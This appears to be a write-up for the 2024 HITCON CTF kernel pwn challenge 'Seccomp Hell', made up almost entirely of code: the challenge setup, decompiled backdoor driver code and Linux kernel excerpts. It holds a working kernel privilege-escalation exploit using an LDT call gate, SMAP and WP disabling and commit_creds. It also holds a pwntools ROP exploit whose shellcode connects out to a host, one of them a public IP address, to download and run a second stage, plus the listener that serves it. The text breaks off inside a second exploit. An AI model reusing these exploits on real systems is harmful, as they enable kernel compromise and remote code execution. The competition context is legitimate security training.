2024 Hitcon Pwn Seccomp Hell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

#!/bin/sh

chown 0:0 -R /
chown 1000:1000 -R /home/user
chmod 4755 /bin/busybox

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
/sbin/mdev -s

chmod 666 /dev/ptmx

# network
insmod /usr/lib/modules/e1000.ko
ifup lo >& /dev/null
ifup eth0 >& /dev/null

# banner
cat /etc/banner

# kernel backdoor
insmod /usr/lib/modules/i_am_definitely_not_backdoor.ko
chmod 0666 /dev/i_am_definitely_not_backdoor

# user backdoor
echo 'server starting...'
setsid cttyhack setuidgid 1000 /bin/socat tcp-l:22222,reuseaddr,fork EXEC:"/home/user/i_am_not_backdoor.bin",pty,stderr

poweroff -f

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

pop_rsi_ret = 0x0047713b
pop_rdx_ret = 0x004018e4
pop_rax_ret = 0x00462514
and_rdi_rax_ret = 0x004018ee
mov_rdi_rax_ret = 0x004018de
mov_rax_rbx_pop_rbx_ret = 0x004770ad
jmp_rsp = 0x004018f4

payload = p64s(
    1,
    mov_rax_rbx_pop_rbx_ret, 0,
    mov_rdi_rax_ret,
    pop_rax_ret, 0xfffffffffffff000,
    and_rdi_rax_ret,
    pop_rsi_ret, 0x1000,
    pop_rdx_ret, 7,
    elf.sym.mprotect,
    jmp_rsp,
)

short_shellcode = f'''
    sub rsp, {0x100 + len(payload)}
    jmp rsp
'''

payload += asm(short_shellcode)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

#!/bin/bash

qemu-system-x86_64 \
    -cpu qemu64,+smap \
    -m 4096M \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
    -nographic \
    -netdev user,id=net0,hostfwd=tcp::22222-:22222 \
    -device e1000,netdev=net0 \
    -no-reboot \

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

ssize_t __fastcall backdoor_write(file *file, const unsigned __int8 *data, size_t size, loff_t *off)
{
  __int64 v4; // rax
  spinlock_t *v5; // rdi
  unsigned __int64 v6; // rbx
  unsigned __int64 v7; // rbp
  __int64 v8; // rdx
  unsigned __int64 v9; // rax
  unsigned __int64 v10; // rsi
  char *v11; // rcx
  bool v12; // zf
  __int64 v13; // rdi
  pte_t *pte; // [rsp+0h] [rbp-30h] BYREF
  spinlock_t *lock; // [rsp+8h] [rbp-28h] BYREF
  page *page[4]; // [rsp+10h] [rbp-20h] BYREF

  _fentry__(file, data, size, off);
  page[1] = (page *)__readgsqword(0x28u);
  pte = 0LL;
  lock = 0LL;
  if ( (unsigned int)follow_pte(
                       *(_QWORD *)(__readgsqword((unsigned int)&const_pcpu_hot) + 2296), // current->mm
                       0xFFFF880000010000LL,
                       &pte,
                       &lock)
    || (pte->pte & ~(physical_mask & 0xFFFFFFFFFFFFF000LL) & 0x8000000000000000LL) == 0LL )
  {
    return -14LL;
  }
  v4 = pv_ops[61]();
  if ( v4 )
    v4 ^= (v4 & 1) - 1;
  v5 = lock;
  v6 = physical_mask & v4;
  v7 = (physical_mask & (unsigned __int64)v4) >> 12; // pfn
  page[0] = (page *)(vmemmap_base + (v7 << 6));

  // ...

  if ( page[0] )
  {
    v13 = vmap(page, 1LL, 4LL, _default_kernel_pte_mask & (sme_me_mask | 0x8000000000000163LL));
    if ( v13 )
    {
      *(_BYTE *)(v13 + 103) = 0;
      *(_WORD *)(v13 + 96) = 0;
      *(_WORD *)(v13 + 101) = -16148;
      vunmap();
      return 0LL;
    }
  }
  return -14LL;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
	struct mm_struct *mm = current->mm;
	struct ldt_struct *new_ldt, *old_ldt;
	unsigned int old_nr_entries, new_nr_entries;
	struct user_desc ldt_info;
	struct desc_struct ldt;
	int error;
  
  // ...
	if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
	  // ...
	} else {
    // ...
		fill_ldt(&ldt, &ldt_info);
	  // ...
	}

	old_ldt       = mm->context.ldt;
	old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
	new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

	error = -ENOMEM;
	new_ldt = alloc_ldt_struct(new_nr_entries);
	if (!new_ldt)
		goto out_unlock;

	if (old_ldt)
		memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

	new_ldt->entries[ldt_info.entry_number] = ldt;
	finalize_ldt_struct(new_ldt);

	/*
	 * If we are using PTI, map the new LDT into the userspace pagetables.
	 * If there is already an LDT, use the other slot so that other CPUs
	 * will continue to use the old LDT until install_ldt() switches
	 * them over to the new LDT.
	 */
	error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
  // ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

/*
 * If PTI is enabled, this maps the LDT into the kernelmode and
 * usermode tables for the given mm.
 */
static int
map_ldt_struct(struct mm_struct *mm, struct ldt_struct *ldt, int slot)
{
	unsigned long va;
	bool is_vmalloc;
	spinlock_t *ptl;
	int i, nr_pages;

  // ...

	is_vmalloc = is_vmalloc_addr(ldt->entries);

	nr_pages = DIV_ROUND_UP(ldt->nr_entries * LDT_ENTRY_SIZE, PAGE_SIZE);

	for (i = 0; i < nr_pages; i++) {
		unsigned long offset = i << PAGE_SHIFT;
		const void *src = (char *)ldt->entries + offset;
		unsigned long pfn;
		pgprot_t pte_prot;
		pte_t pte, *ptep;

		va = (unsigned long)ldt_slot_va(slot) + offset;
		pfn = is_vmalloc ? vmalloc_to_pfn(src) :
			page_to_pfn(virt_to_page(src));
		/*
		 * Treat the PTI LDT range as a *userspace* range.
		 * get_locked_pte() will allocate all needed pagetables
		 * and account for them in this mm.
		 */
		ptep = get_locked_pte(mm, va, &ptl);
		if (!ptep)
			return -ENOMEM;
		/*
		 * Map it RO so the easy to find address is not a primary
		 * target via some kernel interface which misses a
		 * permission check.
		 */
		pte_prot = __pgprot(__PAGE_KERNEL_RO & ~_PAGE_GLOBAL);
		/* Filter out unsuppored __PAGE_KERNEL* bits: */
		pgprot_val(pte_prot) &= __supported_pte_mask;
		pte = pfn_pte(pfn, pte_prot);
		set_pte_at(mm, va, ptep, pte);
		pte_unmap_unlock(ptep, ptl);
	}

	/* Propagate LDT mapping to the user page-table */
	map_ldt_struct_to_user(mm);

	ldt->slot = slot;
	return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

#define PGDIR_SHIFT		39

#define LDT_PGD_ENTRY		-240UL
#define LDT_BASE_ADDR		(LDT_PGD_ENTRY << PGDIR_SHIFT)  // 0xFFFF880000000000

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES	8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE	8

/* This is a multiple of PAGE_SIZE. */
#define LDT_SLOT_STRIDE (LDT_ENTRIES * LDT_ENTRY_SIZE)  // 0x10000

static inline void *ldt_slot_va(int slot)
{
	return (void *)(LDT_BASE_ADDR + LDT_SLOT_STRIDE * slot);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

#include <stdio.h>
#include <linux/types.h>
#include <string.h>

struct desc_struct {
  __u16 limit0;
  __u16 base0;
  __u16 base1 : 8, type : 4, s : 1, dpl : 2, p : 1;
  __u16 limit1 : 4, avl : 1, l : 1, d : 1, g : 1, base2 : 8;
} __attribute__((packed));

int main(int argc, char *argv[]) {

  struct desc_struct d;
  __u64 v = 0xc0ecffffff0000;
  memcpy(&d, &v, sizeof(d));
  printf("d.limit0 = %x\n", d.limit0);
  printf("d.base0 = %x\n", d.base0);
  printf("d.base1 = %x\n", d.base1);
  printf("d.type = %x\n", d.type);
  printf("d.s = %x\n", d.s);
  printf("d.dpl = %x\n", d.dpl);
  printf("d.p = %x\n", d.p);
  printf("d.limit1 = %x\n", d.limit1);
  printf("d.avl = %x\n", d.avl);
  printf("d.l = %x\n", d.l);
  printf("d.d = %x\n", d.d);
  printf("d.g = %x\n", d.g);
  printf("d.base2 = %x\n", d.base2);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#include <stdio.h>
#include <linux/types.h>
#include <string.h>

struct call_gate_desc_struct {
  __u16 offset0;
  __u16 selector;
  __u16 zero0 : 8, type : 4, zero1: 1, dpl : 2, p : 1;
  __u16 offset1;
} __attribute__((packed));

int main(int argc, char *argv[]) {

  struct call_gate_desc_struct d;
  __u64 v = 0xc0ecfedcba0000;
  memcpy(&d, &v, sizeof(d));
  printf("d.offset0 = %x\n", d.offset0);
  printf("d.selector = %x\n", d.selector);
  printf("d.type = %x\n", d.type);
  printf("d.dpl = %x\n", d.dpl);
  printf("d.p = %x\n", d.p);
  printf("d.offset1 = %x\n", d.offset1);
}

1
2
3
4
5
6

static inline void fill_ldt(struct desc_struct *desc, const struct user_desc *info)
{
  // ...
	desc->dpl		= 0x3;
	// ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

// arch/x86/include/asm/segment.h
#if defined(CONFIG_X86_32) && !defined(BUILD_VDSO32_64)
// ...
#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

#define GDT_ENTRY_CPUNODE		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __CPUNODE_SEG			(GDT_ENTRY_CPUNODE*8 + 3)

#endif

1
2
3
4
5
6
7
8
9

/*
 * Clone the populated PMDs of the entry text and force it RO.
 */
static void pti_clone_entry_text(void)
{
	pti_clone_pgtable((unsigned long) __entry_text_start,
			  (unsigned long) __entry_text_end,
			  PTI_CLONE_PMD);
}

1
2
3
4
5

static inline void idt_syscall_init(void)
{
	wrmsrl(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
	// ...
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

#include "pwn.h"

#define __KERNEL_CS 0x10
#define TARGET_ENTRY 0xc
#define TARGET_ENTRY_SELECTOR (TARGET_ENTRY << 3 | 0b111)

#define CR0_WP_BIT 16
#define CR4_SMAP_BIT 21
#define CR3_PT_BIT 12
#define MSR_LSTAR_ADDR 0xC0000082

#define NOKASLR_ENTRY_SYSCALL_64 0xffffffff81e00080
#define NOKASLR_ENTRY_TRAMPOLINE 0xffffffff81e00000
#define NOKASLR_INIT_CRED 0xffffffff82c517c0
#define NOKASLR_COMMIT_CREDS 0xffffffff810fc820
#define RING0_STAGE2_TRAMPOLINE_OFFSET 0x10000

typedef struct {
  uint32_t offset;
  uint16_t selector;
} __attribute__((packed)) far_ptr_t;

static inline void cli() { __asm__ __volatile__("cli\n"); }
static inline void sti() { __asm__ __volatile__("sti\n"); }
static inline void disable_wp() {
  uint64_t cr0 = 0;
  __asm__ __volatile__("mov %0, cr0" : "=r"(cr0));
  cr0 &= ~(1 << CR0_WP_BIT);
  __asm__ __volatile__("mov cr0, %0" : : "r"(cr0));
}

static inline uint64_t rdmsr(uint32_t msr) {
  uint32_t lo, hi;
  __asm__ __volatile__("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
  return ((uint64_t)hi << 32) | lo;
}

static inline void swapgs() { __asm__ __volatile__("swapgs\n"); }

static inline void disable_smap() {
  uint64_t cr4 = 0;
  __asm__ __volatile__("mov %0, cr4" : "=r"(cr4));
  cr4 &= ~(1 << CR4_SMAP_BIT);
  __asm__ __volatile__("mov cr4, %0" : : "r"(cr4));
}

static inline void switch_page_table() {
  uint64_t cr3 = 0;
  __asm__ __volatile__("mov %0, cr3" : "=r"(cr3));
  cr3 ^= 1 << CR3_PT_BIT;
  __asm__ __volatile__("mov cr3, %0" : : "r"(cr3));
}

static inline void escalate_privileges(size_t offset) {
  size_t init_cred = NOKASLR_INIT_CRED + offset;
  int (*commit_creds)(size_t) = (void *)NOKASLR_COMMIT_CREDS + offset;
  commit_creds(init_cred);
}

void ring0_stage2(size_t offset) __attribute__((section(".rodata")));
void ring0_stage2_end() __attribute__((section(".rodata")));
void ring0_stage2(size_t offset) {
  swapgs();
  switch_page_table();
  escalate_privileges(offset);
  swapgs();
  switch_page_table();
}
void ring0_stage2_end() {}

void ring0() __attribute__((aligned(0x1000)));
void ring0() {
  cli();
  disable_wp();
  disable_smap();

  size_t entry_SYSCALL_64 = rdmsr(MSR_LSTAR_ADDR);
  size_t offset = entry_SYSCALL_64 - NOKASLR_ENTRY_SYSCALL_64;
  void (*ring0_stage2_trampoline)(size_t) = (void *)NOKASLR_ENTRY_TRAMPOLINE +
                                            RING0_STAGE2_TRAMPOLINE_OFFSET +
                                            offset;
  char *dst = (char *)ring0_stage2_trampoline;

  for (char *cur = (char *)&ring0_stage2; cur < (char *)&ring0_stage2_end;)
    *dst++ = *cur++;

  ring0_stage2_trampoline(offset);
  sti();
  __asm__ __volatile__("add rsp, 8\n"
                       "retfq\n");
}

int main() {
  int fd = syscall(SYS_open, "/dev/i_am_definitely_not_backdoor", O_RDWR);

  struct user_desc desc = {0};
  desc.entry_number = 0xc;
  desc.base_addr = __KERNEL_CS;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));
  desc.base_addr = 0;
  desc.entry_number = LDT_ENTRIES - 1;
  syscall(SYS_modify_ldt, MODIFY_LDT_WRITE, &desc, sizeof(desc));

  syscall(SYS_write, fd, (void *)0xdeadbeef, 0xdeadbeef);

  far_ptr_t call_gate = {.offset = 0xdeadbeef,
                         .selector = TARGET_ENTRY_SELECTOR};
  __asm__ __volatile__("call fword ptr %0" : : "m"(call_gate));

  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  syscall(SYS_execve, argv[0], argv, envp);
  syscall(SYS_exit, 0);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

filename = exp
fsname = initramfs
CFLAGS = -fno-pic -fno-pie -no-pie -nostdlib -Wl,--build-id=none -masm=intel -O2
LDFLAGS =

ENTRY ?= main
LDFLAGS += -e $(ENTRY)

ifdef TEXTADDR
	LDFLAGS += -Ttext $(TEXTADDR)
endif

.PHONY: all build rebuild debug cpio clean

all: build cpio

build: $(filename)

rebuild: clean build

debug: CFLAGS += -g -DDEBUG
debug: rebuild cpio

$(filename): $(filename).c
	gcc $(CFLAGS) -o $@ $^ $(LDFLAGS)

cpio:
	cp $(filename) $(fsname)
	pushd $(fsname) > /dev/null; \
	find . | cpio -o -H newc > ../$(fsname).cpio; \
	popd > /dev/null
	gzip -f $(fsname).cpio

run:
	./run.sh

clean:
	rm -f $(filename)
	rm -f $(fsname).cpio.gz

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

static __always_inline long syscall_enter_from_user_mode_work(struct pt_regs *regs, long syscall)
{
	unsigned long work = READ_ONCE(current_thread_info()->syscall_work);

	if (work & SYSCALL_WORK_ENTER)
		syscall = syscall_trace_enter(regs, syscall, work);

	return syscall;
}

long syscall_trace_enter(struct pt_regs *regs, long syscall,
				unsigned long work)
{
	long ret = 0;
	// ...
	/* Do seccomp after ptrace, to catch any tracer changes. */
	if (work & SYSCALL_WORK_SECCOMP) {
		ret = __secure_computing(NULL);
		if (ret == -1L)
			return ret;
	}
	// ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

void __fastcall sub_FFFFFFFF81C4B430(__int64 a1, unsigned int a2)
{
  unsigned __int64 v2; // r12
  void *v3; // rsp
  unsigned int v4; // r13d
  unsigned int v5; // eax

  v2 = (int)a2;
  v3 = alloca(((__readgsdword(0x1A000u) & 0x3FF) + 15) & 0x7F8);
  v4 = a2;
  off_FFFFFFFF82C33080();
  if ( (*(_QWORD *)(__readgsqword(0x34940u) + 8) & 0x3F) != 0 )
  {
    sub_FFFFFFFF8118DCA0(a1); // syscall_trace_enter
    // ...
  }
  // ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
	/*
	 * For reasons of header soup (see current_thread_info()), this
	 * must be the first element of task_struct.
	 */
	struct thread_info		thread_info;
#endif
	unsigned int			__state;
	// ...
};

struct thread_info {
	unsigned long		flags;		/* low level flags */
	unsigned long		syscall_work;	/* SYSCALL_WORK_ flags */
	u32			status;		/* thread synchronous flags */
#ifdef CONFIG_SMP
	u32			cpu;		/* current CPU */
#endif
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

#define set_task_syscall_work(t, fl) \
	set_bit(SYSCALL_WORK_BIT_##fl, &task_thread_info(t)->syscall_work)
static void copy_seccomp(struct task_struct *p)
{
  // ...
	/*
	 * If the parent gained a seccomp mode after copying thread
	 * flags and between before we held the sighand lock, we have
	 * to manually enable the seccomp thread flag here.
	 */
	if (p->seccomp.mode != SECCOMP_MODE_DISABLED)
		set_task_syscall_work(p, SECCOMP);
	// ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

int __secure_computing(const struct seccomp_data *sd)
{
	int mode = current->seccomp.mode;
	int this_syscall;

	if (IS_ENABLED(CONFIG_CHECKPOINT_RESTORE) &&
	    unlikely(current->ptrace & PT_SUSPEND_SECCOMP))
		return 0;

	this_syscall = sd ? sd->nr :
		syscall_get_nr(current, current_pt_regs());

	switch (mode) {
	case SECCOMP_MODE_STRICT:
		__secure_computing_strict(this_syscall);  /* may call do_exit */
		return 0;
	case SECCOMP_MODE_FILTER:
		return __seccomp_filter(this_syscall, sd, false);
	/* Surviving SECCOMP_RET_KILL_* must be proactively impossible. */
	case SECCOMP_MODE_DEAD:
		WARN_ON_ONCE(1);
		do_exit(SIGKILL);
		return -1;
	default:
		BUG();
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

void __fastcall sub_FFFFFFFF81201860(int *a1)
{
  unsigned __int64 v1; // rdx
  _BYTE *v2; // rsi
  int v3; // eax
  __int64 v4; // rdi
  _DWORD *v5; // rax

  sub_FFFFFFFF8108A650();
  v1 = __readgsqword(0x34940u);
  v2 = a1;
  v3 = *(_DWORD *)(v1 + 3176);
  if ( (*(_BYTE *)(v1 + 51) & 1) != 0 )
    goto LABEL_21;
  if ( a1 )
    v4 = *a1;
  else
    v4 = *(int *)(*(_QWORD *)(v1 + 32) + 16336LL);
  if ( v3 != 2 )
  {
    if ( v3 == 3 )
      BUG();
    if ( v3 != 1 )
      BUG();
    v5 = &unk_FFFFFFFF82027440;
    if ( (*(_BYTE *)(v1 + 16) & 2) == 0 && (*(_BYTE *)(*(_QWORD *)(v1 + 32) + 16339LL) & 0x40) == 0 )
      v5 = &unk_FFFFFFFF82027650;
    while ( (_DWORD)v4 != *v5 )
    {
      if ( *++v5 == -1 )
      {
        *(_DWORD *)(v1 + 3176) = 3;
        if ( (dword_FFFFFFFF82D3A2D8 & 2) != 0 )
        {
          v2 = (_BYTE *)(&qword_8 + 1);
          sub_FFFFFFFF811F5BA0(v4, 9LL, 0LL);
        }
        sub_FFFFFFFF810C4C60(9LL, v2);
      }
    }
LABEL_21:
    JUMPOUT(0xFFFFFFFF81C69560LL);
  }
  sub_FFFFFFFF812007C0(v4, v2);
}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

#!/usr/bin/env python3

from pwn import *
from pwnlib.util.iters import *
import rzpipe

elf = ELF("i_am_not_backdoor.bin")

context.binary = elf.path
context.terminal = 'footclient'

io = remote('localhost', 22222) if args.REMOTE else \
     gdb.debug([elf.path], 'b *0x401d05\nc') if args.GDB else \
     process([elf.path], stdin=PTY)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recvn(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda n    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
uu32 = lambda x   : u32(x.ljust(4, b'\0'))
uu64 = lambda x   : u64(x.ljust(8, b'\0'))
p32s = lambda *xs : flat([p32(x) for x in xs])
p64s = lambda *xs : flat([p64(x) for x in xs])

prompt      = b'\n'
prompt_menu = prompt

op   = lambda x : sla(prompt_menu, n2b(x))
snap = lambda n : sna(prompt, n)
sap  = lambda s : sa(prompt, s)
slap = lambda s : sla(prompt, s)

def leakaddr(pre = None, suf = None, num = None, keepsuf = True):
    if num is None:
        num = 6 if context.bits == 64 else 4
    if pre is not None:
        ru(pre)
    if suf is not None:
        r = ru(suf)
        if keepsuf:
            r += suf
        r = r[-num:]
    else:
        r = rv(num)
    u = uu64 if context.bits == 64 else uu32
    return u(r)

def tty_escape(s, lnext=b'\x16', dangerous=bytes(bytearray(range(0x20)))):
    if args.REMOTE:
        s = s.replace(lnext, lnext * 2)
        for b in bytearray(dangerous):
            if b in lnext:
                continue
            b = bytearray([b])
            s = s.replace(b, lnext + b)
    return s

pop_rsi_ret = 0x0047713b
pop_rdx_ret = 0x004018e4
pop_rax_ret = 0x00462514
and_rdi_rax_ret = 0x004018ee
mov_rdi_rax_ret = 0x004018de
mov_rax_rbx_pop_rbx_ret = 0x004770ad
jmp_rsp = 0x004018f4

rz_exp = rzpipe.open('exp')
secs = {s['name']: {'vaddr': s['vaddr'], 'size': s['size']} for s in rz_exp.cmdj('iSj') if s['name']}
rz_exp.quit()

# shellcraft.connect('38.207.168.131', 8888) + \
shellcode = \
    shellcraft.connect('10.0.2.2', 8888) + \
    shellcraft.mmap(secs['.text']['vaddr'], 0x2000, 7, 0x22, -1, 0) + \
    shellcraft.read(0, secs['.text']['vaddr'], secs['.text']['size']) + \
    shellcraft.mmap(secs['.rodata']['vaddr'], 0x1000, 7, 0x22, -1, 0) + \
    shellcraft.read(0, secs['.rodata']['vaddr'], secs['.rodata']['size'])
shellcode += f'''
    mov rax, {ELF('exp').sym.main}
    jmp rax
'''

payload_2 = asm(shellcode)
print(hex(len(payload_2)))

sa(b'220 (vsFTPd 2.3.4)', tty_escape(payload_2[0x80:]) + b'\x04')
sa(b'331 Please specify the password.', tty_escape(payload_2[:0x80]) + b'\x04')

payload = p64s(
    1,
    mov_rax_rbx_pop_rbx_ret, 0,
    mov_rdi_rax_ret,
    pop_rax_ret, 0xfffffffffffff000,
    and_rdi_rax_ret,
    pop_rsi_ret, 0x1000,
    pop_rdx_ret, 7,
    elf.sym.mprotect,
    jmp_rsp,
)

short_shellcode = f'''
    sub rsp, {0x100 + len(payload)}
    jmp rsp
'''

payload += asm(short_shellcode)
print(hex(len(payload)))

sa('530 Login incorrect.', tty_escape(payload) + b'\x04')
ia()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

#!/usr/bin/env python3

from pwnlib.tubes.listen import listen
import rzpipe

s = listen(8888)
s.wait_for_connection()

rz_exp = rzpipe.open('exp')
secs = {s['name']: {'vaddr': s['vaddr'], 'size': s['size']} for s in rz_exp.cmdj('iSj') if s['name']}

for sec in ['.text', '.rodata']:
    code = bytes(rz_exp.cmdj(f"pxj {secs[sec]['size']} @ section.{sec}"))
    print(code)
    s.send(code)

rz_exp.quit()
s.interactive()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

#include "pwn.h"

#define __KERNEL_CS 0x10
#define TARGET_ENTRY 0xc
#define TARGET_ENTRY_SELECTOR (TARGET_ENTRY << 3 | 0b111)

#define CR0_BIT_WP 16
#define CR4_BIT_SMAP 21
#define CR3_BIT_PT 12
#define MSR_LSTAR_ADDR 0xC0000082

#define NOKASLR_ENTRY_SYSCALL_64 0xffffffff81e00080
#define NOKASLR_ENTRY_TRAMPOLINE 0xffffffff81e00000
#define NOKASLR_INIT_CRED 0xffffffff82c517c0
#define NOKASLR_COMMIT_CREDS 0xffffffff810fc820
#define RING0_STAGE2_TRAMPOLINE_OFFSET 0x10000
#define NOKASLR_JNZ_CALL__SECURE_COMPUTING 0xffffffff8118dcc6

#define CURRENT_OFFSET 0x34940
#define SYSCALL_WORK_OFFSET 8
#define SYSCALL_WORK_BIT_SECCOMP 0
#define SECCOMP_MODE_OFFSET 0xC68
#define SECCOMP_MODE_DISABLED	0

typedef struct {
  uint32_t offset;
  uint16_t selector;
} __attribute__((packed)) far_ptr_t;

static inline void cli() { __asm__ __volatile__("cli\n"); }
static inline void sti() { __asm__ __volatile__("sti\n"); }
static inline void disable_wp() {
  uint64_t cr0 = 0;
  __asm__ __volatile__("mov %0, cr0" : "=r"(cr0));
  cr0 &= ~(1 << CR0_BIT_WP);
  __asm__ __volatile__("mov cr0, %0" : : "r"(cr0));
}

static inline uint64_t rdmsr(uint32_t msr) {
  uint32_t lo, hi;
  __asm__ __volatile__("rdmsr" : "=a"(lo), "=d"(hi) : "c"(msr));
  return ((uint64_t)hi << 32) | lo;
}

static inline void swapgs() { __asm__ __volatile__("swapgs\n"); }

static inline void disable_smap() {
